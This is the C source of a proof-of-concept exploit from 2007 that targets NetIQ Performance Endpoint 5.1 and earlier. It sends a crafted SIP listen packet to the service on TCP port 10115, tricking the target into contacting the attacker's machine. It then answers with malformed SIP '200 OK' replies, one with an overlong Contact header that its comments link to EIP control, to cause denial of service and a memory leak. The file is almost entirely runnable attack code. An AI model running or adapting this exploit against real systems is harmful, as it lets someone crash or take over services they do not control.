/* endpoint-sip-dos.c
 *
 * Copyright (c) 2007 by <mu-b@digit-labs.org>
 *
 * NetIQ Performance Endpoint <=5.1 SIP remote DoS+mem leak POC
 * by mu-b - Tue Nov 6 2007
 *
 * $Id: endpoint-sip-dos.c 12 2012-08-17 08:31:11Z mu-b $
 *
 * - Tested on: NetIQ Performance Endpoint 5.1 (win32)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <arpa/inet.h>
#include <assert.h>
#include <limits.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netdb.h>
#include <signal.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define IPV4_BUFLEN       16          /* "255.255.255.255\0" */

#define ENDPT_TCP_PORT    10115
#define ENDPT_PKTMAX      0x1388
#define ENDPT_SIPPKTMAX   0x2000

#define PORT_LSIP         0x1234
#define PORT_RSIP         0x5678

static char ppkt_siplisten[] =
  "\x3E"                              /* opcode             */
  "\x07\x14\x43\x1A"                  /* verify_get_id (1)  */
  "\x00"
  "\x00"
  "\x00\x03"
  "\x00"
  "\x0A"                              /* SIP_START_LISTEN   */
  "\x00\x00"
  "\x00\x03"
  "\x00"
  "\x00\x03"
  "\x00"
  "\x00\x00";

static char ppkt_siplisten_end[] =
  "\x00\x00"
  "\x00\x00"
  "\x00\x00";

static char cpkt_sip_r1[] =
  "SIP/2.0 200 OK\r\n";

static char cpkt_sip_r2[] =
  "SIP/2.0 200 OK\r\n"
  "Contact: <sip:AAA>\r\n"  /* 3-bytes = EIP */
  "Contact: <sip:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>\r\n";

static int verbose = 1;         /* verbosity */
static int ppid, cpid, ccpid;   /* parent and child process id's */

static int get_localip_ioctl (in_addr_t *);
static int sock_send (int fd, char *src, int len);
static int sockami (char *host, int port);
static void endpoint_sip_listen (char *host);

static void
fatal (void)
{
  kill (0, SIGKILL);
  exit (EXIT_FAILURE);
}

static int
get_localip_ioctl (in_addr_t *ip_addr)
{
  struct ifreq ifr[16];
  struct ifconf ifc;
  int i, if_count, result, sock;

  if ((sock = socket (PF_INET, SOCK_STREAM, 0)) == -1)
    return (-1);

  memset (&ifc, 0, sizeof ifc);
  ifc.ifc_buf = (char *) &ifr;
  ifc.ifc_len = sizeof ifr;

  if (ioctl (sock, SIOCGIFCONF, &ifc) == -1)
    return (-1);

  result = -1;
  if_count = ifc.ifc_len / sizeof (struct ifreq);
  for (i = 0; i < if_count; i++)
    {
      if (ioctl (sock, SIOCGIFADDR, &ifr[i]) == -1)
        continue;
      if (ioctl (sock, SIOCGIFFLAGS, &ifr[i]) == -1)
        continue;

      if (!(ifr[i].ifr_flags & IFF_UP))
        continue;

      if (strcmp (inet_ntoa (((struct sockaddr_in *) &ifr[i].ifr_addr)->sin_addr),
                  "127.0.0.1") == 0)
        continue;

      memcpy (ip_addr, &(((struct sockaddr_in *) &ifr[i].ifr_addr)->sin_addr),
              sizeof *ip_addr);
      result = 0;
      break;
    }

  if (close (sock) != 0)
    return (-1);

  return (result);
}

static int
sock_send (int fd, char *src, int len)
{
  int n;
  if ((n = send (fd, src, len, 0)) < 0)
    {
      perror ("send()");
      exit (EXIT_FAILURE);
    }

  return (n);
}

static int
sockami (char *host, int port)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int fd;

  fflush (stdout);
  if ((fd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror ("socket()");
      exit (EXIT_FAILURE);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      perror ("gethostbyname()");
      exit (EXIT_FAILURE);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons (port);

  if (connect (fd, (struct sockaddr *) &address, sizeof (address)) < 0)
    {
      perror ("connect()");
      return (-1);
    }

  return (fd);
}

int
endpt_add_string (char *buf, char *str)
{
  unsigned int str_len;
  unsigned short str_lens;

  assert (buf != NULL && str != NULL);

  str_len = 2 + strlen (str) + 1;
  str_lens = htons (str_len);

  /* add the string length and copy, including NULL */
  *((unsigned short *) buf) = str_lens;
  memcpy (buf + 2, str, str_len - 2);

  return (str_len);
}

char *
endpt_create_packet (char *buf, unsigned int len)
{
  char *pkt_buf;
  unsigned int pkt_len;
  unsigned short pkt_lens;

  assert (buf != NULL && len > 0);
  assert (len <= UINT_MAX - 2);
  assert (len <= ENDPT_PKTMAX - 2);

  pkt_len = 2 + len;
  pkt_buf = malloc (pkt_len * sizeof (char));
  if (pkt_buf == NULL)
    return (NULL);

  pkt_lens = htons (pkt_len);

  /* add the packet length and copy */
  *((unsigned short *) pkt_buf) = pkt_lens;
  memcpy (pkt_buf + 2, buf, len);

  return (pkt_buf);
}

static void
endpoint_sip_listen (char *host)
{
  struct in_addr ip_addr;
  char ip_buf[IPV4_BUFLEN], pkt_buf[ENDPT_PKTMAX-2], *pkt_ptr, *ptr;
  int fd;

  get_localip_ioctl (&ip_addr.s_addr);
  strncpy (ip_buf, inet_ntoa (ip_addr), sizeof ip_buf);
  ip_buf[sizeof ip_buf - 1] = '\0';

  if (verbose)
    fprintf (stderr, "[parent-%d] source address %s\n", ppid, ip_buf);

  fflush (stdout);

  printf ("[parent-%d] connecting to %s:%d...", ppid, host, ENDPT_TCP_PORT);
  if ((fd = sockami (host, ENDPT_TCP_PORT)) < 0)
    {
      fprintf (stderr, "endpoint_sip_listen: sockami failed\n");
      fatal ();
    }
  printf ("done\n");

  printf ("[parent-%d] building sip listen packet...", ppid);

  ptr = pkt_buf;
  memcpy (ptr, ppkt_siplisten, sizeof ppkt_siplisten);
  ptr += sizeof ppkt_siplisten - 1;

  /* add local-port number */
  *(unsigned short *) ptr = htons (PORT_LSIP);
  ptr += sizeof (unsigned short);

  /* add the connect-back IP */
  ptr += endpt_add_string (ptr, ip_buf);

  /* add another local-port number */
  *(unsigned short *) ptr = htons (PORT_LSIP);
  ptr += sizeof (unsigned short);

  /* add the connect-back IP */
  ptr += endpt_add_string (ptr, ip_buf);

  /* add remote-port number */
  *(unsigned short *) ptr = htons (PORT_RSIP);
  ptr += sizeof (unsigned short);

  memcpy (ptr, ppkt_siplisten_end, sizeof ppkt_siplisten_end);
  ptr += sizeof ppkt_siplisten_end - 1;

  pkt_ptr = endpt_create_packet (pkt_buf, ptr - pkt_buf);
  printf ("done\n");

  sock_send (fd, pkt_ptr, (ptr - pkt_buf) + 2);
  free (pkt_ptr);

  sleep (1);
  close (fd);
}

void
endpt_listen_child2 (char *host)
{
  struct sockaddr_in cliaddr, servaddr;
  char rbuf[ENDPT_SIPPKTMAX];
  int sfd, clilen, n, pid;

  pid = getpid ();
  sfd = socket (AF_INET, SOCK_DGRAM, 0);
  if (sfd < 0)
    {
      perror ("socket()");
      fatal ();
    }

  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = htonl (INADDR_ANY);
  servaddr.sin_port = htons (PORT_LSIP);

  if (bind (sfd, (struct sockaddr *) &servaddr, sizeof servaddr) < 0)
    {
      perror ("bind()");
      fatal ();
    }

  printf ("[child2-%d] waiting for data on %s:%d\n",
          pid, inet_ntoa (servaddr.sin_addr), ntohs (servaddr.sin_port));

  memset (rbuf, 0, sizeof rbuf);

  /* receive message */
  clilen = sizeof cliaddr;
  n = recvfrom (sfd, rbuf, ENDPT_SIPPKTMAX, 0, (struct sockaddr *) &cliaddr, (socklen_t *) &clilen);
  if (n < 0)
    {
      perror ("recvfrom()");
      fatal ();
    }

  /* print received message */
  printf ("[child2-%d] received data from %s:%d\n",
          pid, inet_ntoa (cliaddr.sin_addr), ntohs (cliaddr.sin_port));

  if (verbose)
    {
      char *ptr;

      fprintf (stderr, "[child2-%d] received,\n", pid);
      ptr = NULL;
      while ((ptr = strtok (ptr == NULL ? rbuf : NULL, "\n")))
        fprintf (stderr, "\t%s\n", ptr);
    }

  cliaddr.sin_port = htons (PORT_LSIP);

  /* formulate reply */
  n = sendto (sfd, cpkt_sip_r2, sizeof cpkt_sip_r2 - 1, 0, (struct sockaddr *) &cliaddr, clilen);
  if (n != sizeof cpkt_sip_r2 - 1)
    {
      fprintf (stderr, "endpt_listen_child2: sendto %d != %d\n", n, sizeof cpkt_sip_r2 - 1);
      fatal ();
    }

  close (sfd);
}

void
endpt_listen_child1 (char *host)
{
  struct sockaddr_in cliaddr, servaddr;
  char rbuf[ENDPT_SIPPKTMAX];
  int sfd, clilen, n, pid;

  pid = getpid ();
  sfd = socket (AF_INET, SOCK_DGRAM, 0);
  if (sfd < 0)
    {
      perror ("socket()");
      fatal ();
    }

  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = htonl (INADDR_ANY);
  servaddr.sin_port = htons (PORT_RSIP);

  if (bind (sfd, (struct sockaddr *) &servaddr, sizeof servaddr) < 0)
    {
      perror ("bind()");
      fatal ();
    }

  printf ("[child1-%d] waiting for data on %s:%d\n",
          pid, inet_ntoa (servaddr.sin_addr), ntohs (servaddr.sin_port));

  memset (rbuf, 0, sizeof rbuf);

  /* receive message */
  clilen = sizeof cliaddr;
  n = recvfrom (sfd, rbuf, ENDPT_SIPPKTMAX, 0, (struct sockaddr *) &cliaddr, (socklen_t *) &clilen);
  if (n < 0)
    {
      perror ("recvfrom()");
      fatal ();
    }

  /* print received message */
  printf ("[child1-%d] received data from %s:%d\n",
          pid, inet_ntoa (cliaddr.sin_addr), ntohs (cliaddr.sin_port));

  if (verbose)
    {
      char *ptr;

      fprintf (stderr, "[child1-%d] received,\n", pid);
      ptr = NULL;
      while ((ptr = strtok (ptr == NULL ? rbuf : NULL, "\n")))
        fprintf (stderr, "\t%s\n", ptr);
    }

  cliaddr.sin_port = htons (PORT_LSIP);

  /* formulate reply */
  n = sendto (sfd, cpkt_sip_r1, sizeof cpkt_sip_r1 - 1, 0, (struct sockaddr *) &cliaddr, clilen);
  if (n != sizeof cpkt_sip_r1 - 1)
    {
      fprintf (stderr, "endpt_listen_child1: sendto %d != %d\n", n, sizeof cpkt_sip_r1 - 1);
      fatal ();
    }

  close (sfd);
}

int
main (int argc, char **argv)
{
  int cret, ccret;

  printf ("NetIQ Performance Endpoint <=5.1 SIP remote DoS+mem leak PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  ppid = getpid ();
  if ((cpid = fork ()) < 0)
    {
      perror ("fark()");
      exit (EXIT_FAILURE);
    }
  else if (cpid == 0)
    {
      /* child */
      endpt_listen_child1 (argv[1]);
      exit (EXIT_SUCCESS);
    }

  if ((ccpid = fork ()) < 0)
    {
      perror ("fark()");
      exit (EXIT_FAILURE);
    }
  else if (ccpid == 0)
    {
      /* child */
      endpt_listen_child2 (argv[1]);
      exit (EXIT_SUCCESS);
    }

  /* parent */
  endpoint_sip_listen (argv[1]);

  /* wait for children */
  wait (&cret);
  wait (&ccret);
  if (verbose)
    {
      fprintf (stderr, "[parent-%d] child-%d exited %d\n"
                       "[parent-%d] child-%d exited %d\n",
                       ppid, cpid, cret,
                       ppid, ccpid, ccret);
    }

  return (EXIT_SUCCESS);
}
